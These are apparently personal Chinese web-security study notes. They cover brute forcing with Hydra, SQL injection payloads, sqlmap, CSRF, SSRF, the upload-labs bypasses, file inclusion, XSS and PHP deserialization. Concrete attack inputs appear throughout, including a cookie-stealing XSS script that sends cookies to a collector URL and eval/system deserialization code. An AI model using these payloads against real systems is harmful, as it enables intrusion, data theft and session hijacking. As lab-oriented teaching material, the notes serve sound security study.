总结:
TOC
信息收集:
Shodan
FOFA
----------注释:以下是kali工具Hydra暴力破解的工具
弱口令爆破:
概念:网络安全中的弱口令是指哪些容易被他人猜测或者破解的简单的密码
Hydra 是一款功能强大且被广泛使用的开源密码破解工具:
使用:
-l login 小写,指定用户名进行破解 -L file 大写,指定用户的用户名字典 -p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。 -P file 大写,用于指定密码字典。 -e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探 -M file 指定目标 ip 列表文件,批量破解。 -o file 指定结果输出文件 -f 找到第一对登录名或者密码的时候中止破解。 -t tasks 同时运行的线程数,默认是 16 -w time 设置最大超时时间,单位 -v / -V 显示详细过程 -R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)破解 SSH 登录密码
爆破后登录:
Linux/macOS远程登录通常用SSH
SSH连接: 运行 systemctl status ssh
**linux链接linux:**ssh 用户名@目标ip
Windows远程桌面默认用RDP
RDP连接: 运行 netstat -ano | findstr 3389 (查看3389端口)
**windows链接linux:**ssh 用户名@目标ip
破解mysql登录密码流程:
# 开发中,root 用户默认限制了远程登录, 所以需要创建新的有远程登录的账号进行使用 # 1、创建账户 create user '用户名'@'%' identified by '密码'; # 举例: create user 'liuxiao'@'%' identified by '123abc@'; # create 创建 # user 用户 # identified by 设置密码为... % --- 通配符 指 用户可以从任何地方进行登录 # 2、给权限: grant all on *.* to '用户名'@'%'; # 举例: grant all on *.* to 'liuxiao'@'%'; grant --- 授权 all --- 所有的增删改查 on --- 在...上 *.* ---- 所有的库.所有的表 to --- 给 # 3、刷新: flush privileges; # 查看当前账号 select user(); # 删除用户 drop user '用户名'@'%'; # 查询所有用户 SELECT user FROM mysql.user;
mysql -h IP -u用户 -p密码 封锁后取消: mysqladmin -u root -p flush-hosts
端口扫描:masscan -p 端口 --range 目标主机IP
SQL注入(UNION注入):
group_concat():查询的结果是一行显示
获取库名: date=' union select database(),'','',' 获取表名: select * from information_schema.tables; select group_concat(table_name) from information_schema.tables where table_schema = '库名'; 获取字段名: select * from 表名 where datestr=''union select(select group_concat(table_name) from information_schema.tables where table_schema = '库名'),'','',' select * from news where datestr=''union select(select * from information_schema.columns; select group_concat(columns_name) from information_schema.columns where table_schema='库名' and table_name = '表名'),'','',' 获取具体信息: select 多个字段 from 表名 where '1' 加个条件where '1'永远成立
SQL注入(布尔盲注):
当改变浏览器传给后台SQL参数后,浏览器没有显示对应内容时,无法使用union联合查询注入,这时候可以尝试以下能否使用布尔注入
length()函数:返回字符串的长度。攻击者可以利用此函数判断查询结果的长度
substr()函数:用来截取字符串。攻击者可以利用此函数截取查询结果的某个字符,并进行后续的判断
ascii()函数:返回一个字符的ASCII码。将字符转换成ASCII码可以避免在payload中出现引号,还可以利用二分法方便更快的找到正确的数据
limit x,y 设置从x行向下查询y行数据
count():统计查询出来的数据数量

information_schema是一个包含了关于所有数据库的信息(比如表、列、数据类型等)的特殊数据库,而tables视图则包含了关于所有表格的信息 例用id=2 and (数据库语句)来包含 获取数据库: substr(database(),1,1) #获取当前数据库的第一个字符 select ascii(substr(database(),1,1)); #获取ascii值 爆破表名: (select count(table_name) from information_schema.tables where table_schema='库名')<表的数量 查询数据库中的第m-1(从零开始)个表(或字段)的第n个字符信息 ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit m-1,1),n,1))<ascii码数值 爆破字段: (select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名';)<字段数量 ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表名' limit m-1,1),n,1)) 获取字段内的真实数据: ascii(substr((select 字段名 from 表名 limit 0,1),1,1))
SQL注入报错注入:
报错注入是一种常见的SQL注入方式,就是人为的制造错误条件,使得查询结果能够出现在错误信息中
floor()是一个数字函数,用于向下取整,返回小于或等于指定数值的最大整数
rand()是一个数字函数,用于生成一个0到1之间的随机浮点数
group by用于将查询结果按指定列分组
?id=2 and (select 1 from (select count(*),concat(0x5e,(sql语句) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)
# 注入获取数据库版本信息
# 0x5e ====> ^
# select version() 查询版本信息的指令
# floor(rand(0)*2) 随机生成数字0或者1
原理讲解:
select 1 from (
select count(*),
concat(
0x5e,
(sql语句) ,
0x5e,
floor(rand(0)*2)
)x
from information_schema.tables
group by x
)a;
# version() 获取版本信息
# concat(值1,值2...) 用于将两个或多个字符串值连接(拼接)成一个字符串。
# version() 返回数据库服务器的版本信息。
# floor() 用于将数值向下取整到最接近的整数
查数据库名:
database()
查表名:
select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段名:
select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
查字段数据:
select count(*),concat(0x5e,(select group_concat(字段名) from 表名
基于XPath的报错注入:
extractvalue()函数:这个函数用于将XML文档中提取数据,当提供无效的XPath表达式时,它也会触发错误基于XML报错注入
?id=2 and extractvalue(1, concat(0x5e, (select database()),0x5e)) extractvalue(1, concat(0x5c, (sql执行想要的语法),0x5c))
基于XML的报错注入:
updatexml():这个函数用于修改XML文档中的数据,当提供错误的XPath表达式时,他也会触发一个错误,并可能返回数据库中的敏感信息
and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1) and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)),0x5e),1)
sqlmap工具使用:
打开sqlmap.py当前文件夹,打开cmd python sqlmap.py -u "网站" --dbs可获取所有数据库名 --current-db 获取当前数据库的名称 -D 数据库名 指定目标「数据库」,常配合其他参数使用 --tables 获取表 -T 表名 --columns 指定表查询 -C "字段名1,..." --dump 获取值,也就是表中的数据。 布尔型盲注(Boolean-based blind) 时间型盲注(Time-based blind) 报错型注入(Error-based) 联合查询注入(UNION query-based) 堆叠查询注入(Stacked queries) cmd: Type: boolean-based blind 布尔类型 Type: error-based 报错 Type: time-based blind 时间 Type: UNION query 联合 web application technology: Apache 2.4.39, PHP 5.3.29 数据库版本
CSRF漏洞(跨站请求伪造):
CSRF攻击条件:
1.存在漏洞的目标网站
2.用户已登录状态
3.攻击者对协议包的深入了解
4.浏览器支持
如何确认一个web系统存在CSRF漏洞: 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造。 例如修改账号信息时,不需要验证旧密码,或者进行其他身份验证,导致请求容易被伪造
get请求通过手写伪造
post请求的话 可以使用我们bp上专门的伪造
抓包->相关工具->CSRF PoC生成->拿到网页后->构造部署引诱点击
SSRF漏洞(服务器端请求伪造):
SSRF是一种由攻击者构造请求,由服务器端发起请求的安全漏洞,本质上是属于信息泄露漏洞
攻击者想要访问主机B上的服务,但是由于主机B是属于内网主机无法直接访问。而主机A存在SSRF漏洞,这时攻击者可以借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息
curl_exec():通过 cURL 库发送 HTTP/HTTPS 请求,支持 GET/POST/HEAD 等复杂操作。
file_get_contents():直接读取文件内容(支持本地文件和远程 URL,需allow_url_fopen=On)。
域网IP地址范围分三类,以下IP段为内网IP段
C类:192.168.1.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
1.file协议读取本地文件:
file://c:\windows\system32\drivers\etc\hosts
2. 端口探测:
语法1: http://主机ip 回显显示可以直接看出来(回显指页面反应速度)
语法2: https://主机ip 不推荐
挖掘思路:
简单来说,请求地址为如下方式,就可能存在SSRF漏洞 http://www.xx.com/a.php?url=地址 这个是一种常见的 服务端动态请求模式,通常用于以下功能场景:动态跳转、代理访问、权限控制、数据统计或参数化加载功能的后端接口,需注意安全校验
文件上传:
upload-labs
pass-01:指定可上传文件后缀名,后用if判断,抓不到数据包(用不了burp)
方式:Ctrl+s拿到源码,将判断改为1始终成立,在将表单提交用action="http://192.168.1.42/Pass-01/index.php"进行指定,即可完成
pass-02:指定文件类型,可用burp抓包
方式:用burp抓包将文件类型改成网站对应类型,最后放行
pass-03:吧.php等常用类型都ban了,可用burp抓包
方式:网站默认解析.php3等文件,改一个没有被ban后缀就行,如果不是默认解析文件的后缀就只显示
pass-04:吧所有(除了.htaccess辅助文件)的常用后缀都ban了,可用burp抓包
方式:用辅助文件先上传,在用包含了php语句的图片上传,这样就解析了php语句(如果直接上传图片文件就不会执行内涵php语句)
pass-05:在04的基础上吧.htaccess辅助文件也ban了
方法:但发现没有限制文件的大小写,用burp改文件后缀(可改成.phP)
pass-06:在05的基础上限制了文件的大小写
方法:但发现没有限制首尾去空,用burp在文件后缀多加一个空格
pass-07:在06的基础上限制首尾去空
方法:但发现没有删除末尾的点,用burp在文件后缀多加一个点(英文的点)
pass-08:在07的基础上限制首尾去空
方法:但发现没有限制去除字符串,用burp在文件后缀加::$DATA(要用英文,跳过完成后要从地址栏去掉用来跳过的::DATA)
pass-09:burp功能全ban了
方法:还是用burp,在后缀名后加:点+空格+点
pass-10:将与黑名单匹配的后缀替换为空
方法:双写跳过,用burp将例后缀改成.pphphp(去掉中间的php还是php)
pass-11:这次不给ban后缀名了,直接改成白名单,只允许指定后缀名
方法:利用burp抓包,利用0x00截断(00不解析),将抓包即将上传的文件的地址后加(要执行的文件.php和%00),在改可上传的后缀名,打开图片后要在地址栏去掉00及后面的内容即可解析文件
pass-12:上传文件地址在burp的位置不一样了,不是像11题一样在请求头
方法:和11题一样,但要指定%00右键-> 更改自定的内容 ->URL解码
copy tupian.jpg /b + info.php /a ccc.jpg
/b表示以二进制复制数据
/a表示以文本模式复制文件,将恶意代码拼接进去
将正常图片和info.php中的恶意代码结合 生成新的包含木马的照片bb.png
pass-13,14,15需要用到有图片的恶意代码
pass-13,14,15:将带有图片上传,13,14,15只是文件后缀名不一样
方法:拼接?file=upload/生成的图片名字.png,这个样子在代码位置就会执行
pass-16:在13,14,15的基础上会屏蔽掉php代码
方法:建议上传.gif, 因为老版本的gif渲染较差
pass-17:不屏蔽代码了,直接把恶意图片转走,使其无法访问
方法:用burp将抓到的包转到intruder,恶意代码后加payload位置,以防文件重复,之后旁边选择数组选择次数,开始攻击,这样就会持续发送请求(此时就是比拼是它将文件图片传走得快,还是我们访问的快)
pass-18:与17一样要条件竞争
方法:恶意的代码后加.7z的假的压缩格式
pass-19:多加了保存名称
方式:用burp进行抓包,然后更改可用的后缀名最后把保存名称改成.php%0.jpg,将%0转成URL
pass-20:不限制后缀名,改成限制文件类型
方法:用burp抓包,改文件类型,保存名称上,复制一份,一份后缀改成.php且name=(引号内后加[0]),另一份去掉前部分只留下jpg且name=(引号内加[2])
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
<?php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
以下这些是用来限制burp的使用的
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
文件包含与伪协议:
文件包含漏洞,包括本地文件包含(LFI)和远程文件包含(RFI,尽管RFI通常被禁用或限制)
本地文件包含(LFI):攻击者需要先上传恶意文件,然后通过文件包含漏洞读取或执行它 包含的文件在本地的 远程文件包含(RFI):在一些配置不当的服务器上,攻击者可以通过URL引用远程服务器(攻击者的服务器)上的文件来执行。这通常被禁用,因为风险极高 包含的文件像在公司的服务器上的没在本地的
本地文件包含(LFI):
无限制,上传什么都可以,用file
有限制,txt会转化成.txt.html,用%00绕过
info.php.html 我们可以使用00截断的方法去绕过
远程文件包含(RFI):
通过拼接后半部分访问
访问需要写全地址filename=http://本机ip/文件名.txt
伪协议:
php支持协议 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
input协议
php://input //input协议 在 PHP 中,php://input 是一个伪协议流,它允许访问请求的原始数据的只读流,通常用于获取 POST 请求中没有经过解析的原始数据
file协议
file:// file:// 伪协议允许你访问本地文件系统中的文件。这可以用于读取文件内容,但也可以被恶意利用来访问敏感文件
data://协议
data:// 伪协议允许你通过URL包含数据,这些数据被当作文件内容。通常可以用来执行 PHP 代码
xss跨站脚本攻击:
反射性与存储型和DOM型XSS
XSS攻击主要可以分为三种类型:反射型、存储型和DOM型。每种类型在攻击方式和防护策略上有所不同。很容易混淆的是反射和DOM类型
如何判断网站上有xss漏洞:
最简单的就是执行javascript弹出代码,若成功弹出说明网站对于JavaScript代码没有过滤(弹窗(恶意代码)在当前页面执行说明该页面为回显点)
1.反射性XSS
反射性XSS攻击是指攻击者将恶意脚本作为参数嵌入到URL中,当用户访问该恶意URL时,服务器会直接将恶意脚本作为响应内容返回给浏览器,浏览器解析并执行其中的恶意脚本,这种攻击的特点是攻击代码不会被存储到服务器端,只是在请求和响应的过程中临时反射回来。
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:81/xss1/get_cookie.php?cookie=' + encodeURIComponent(document.cookie), true);
xhr.send();
</script>

2.存储型XSS
特点:攻击脚本会被永久的存储在服务器上,比如留言板,评论区等,每当其他用户访问包含恶意脚本的页面时,脚本都会被执行 比如:攻击者在某个微步的评论区留下包含js代码的评论,每当用户访问评论的时候,恶意脚本都会被执行
3.DOM型XSS
特点:DOM型XSS的攻击脚本不需要服务器参与,而是直接通过修改页面的DOM结构来执行恶意脚本
代码构造:
alert('你已被攻击!'); window.location.href = 'http://106.52.249.22:10001/vul/xss/xss_stored.php';
alert('你已被攻击!'); window.location.replace('https://www.baidu.com/');
两个恶意代码的区别,replace 方法会用新的页面替换当前页面的历史记录,用户无法通过浏览器的 “后退” 按钮回到原页面
setTimeout(代码, 5000)可以加时间5秒
DOM型XSS攻击总结: DOM 型与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端
--------注释:以下内容需要一些php,以及window,linux基本命令
RCE漏洞:
不安全的函数和命令:如eval(),system(),exec(),shell_exec()等,这些函数或命令在php,python等脚本语言中常被执行动态代码或命令
**eval():**php
**system():**cmd
**exec():**Linux中的一个内置shell命令
shell_exec(): 是PHP中的一个函数,用于通过shell执行命令并将完整的输出以字符串的方式返回
管道符:
windows管道符

Linux管道符

管道符用来执行一些命令
使用我们linux中的查看文件中内容的指令,cat
反序列化和反序列化概述
序列化和反序列化是编程中用于数据处理和存储的重要概念,序列化是指把变量的数据转化为字符串,这里的转换和普通的类型转换有所不同,其核心目的在于把数据以字符串形式保存起来,例如存储为文本文件,这样做的好处是,数据能够在不同环境中进行传输和存储,之后,在需要使用这些数据时,可以借助反序列化操作,将字符串恢复为原始的数据结构。这一机制在数据持久化存储,数据传输等场景中应用广泛。
serialize():此函数可将一个对象或者变量转化为字符串。在序列化过程中,PHP 会保留对象的结构和属性信息,将其编码成特定格式的字符串。例如,对于一个自定义类的实例,序列化后会生成包含类名、属性名和属性值等信息的字符串。
unserialize(): 该函数与 serialize() 相反,它能把通过 serialize() 生成的字符串还原为原始的对象或变量。在反序列化时,PHP 会根据字符串中的编码信息,重新构建出对象的结构和属性,使数据恢复到序列化之前的状态。
php class中的定义 private(私有成员) 访问范围:仅能在当前类的内部访问,类的外部、子类(继承的类)都无法直接访问 protected(受保护成员) 访问范围:当前类内部 + 子类(继承的类)内部可以访问,但类的外部无法直接访问。
序列化内容的详解:
O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 : 20是age的属性值 , i是代表 integer类型
s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号
s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值
为什么是s:11和s:6:PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为`\0类名\0属性名`和`\0*\0属性名`。这些字符在显示和输出时可能不易察觉,\0是1字节
二:PHP常见的魔术方法:
__construct
用于在创建对象时自动调用,主要用于初始化对象
__destruct
它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等
__toString
它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时
__wakeup
当你对一个对象调用 unserialize() 时,PHP 会先检查该类是否定义了 __wakeup() 方法,如果有,则会优先执行它
__sleep
当你对一个对象调用 serialize() 时,PHP 会先检查该类是否定义了 __sleep() 方法,如果有,则会优先执行它,再根据它的返回值决定哪些属性需要被序列化
PHP反序列化漏洞简单运用
<?php
class one
{
public $b="xxxxx";
function action()
{
eval($this->b);//eval函数这边得作用是
//eval函数将里边得字符串当作代码去执行
}
}
<?php
class one
{
public $b = "system('ipconfig');";
//这边给system('ipconfig');指令加上引号 等同于把system('ipconfig');看作一个字符串
//eval(system('ipconfig'));
//这样的话 我们代码指令和电脑系统指令都可以去运行
}
$a = new one(); //这边去调用我们的one类 然后存在我们的变量a中
//再去进行反序列化
echo serialize($a); //这样的话我们就能看见
echo urlencode(serialize($a));
eval(system('ipconfig'));
?>

评论区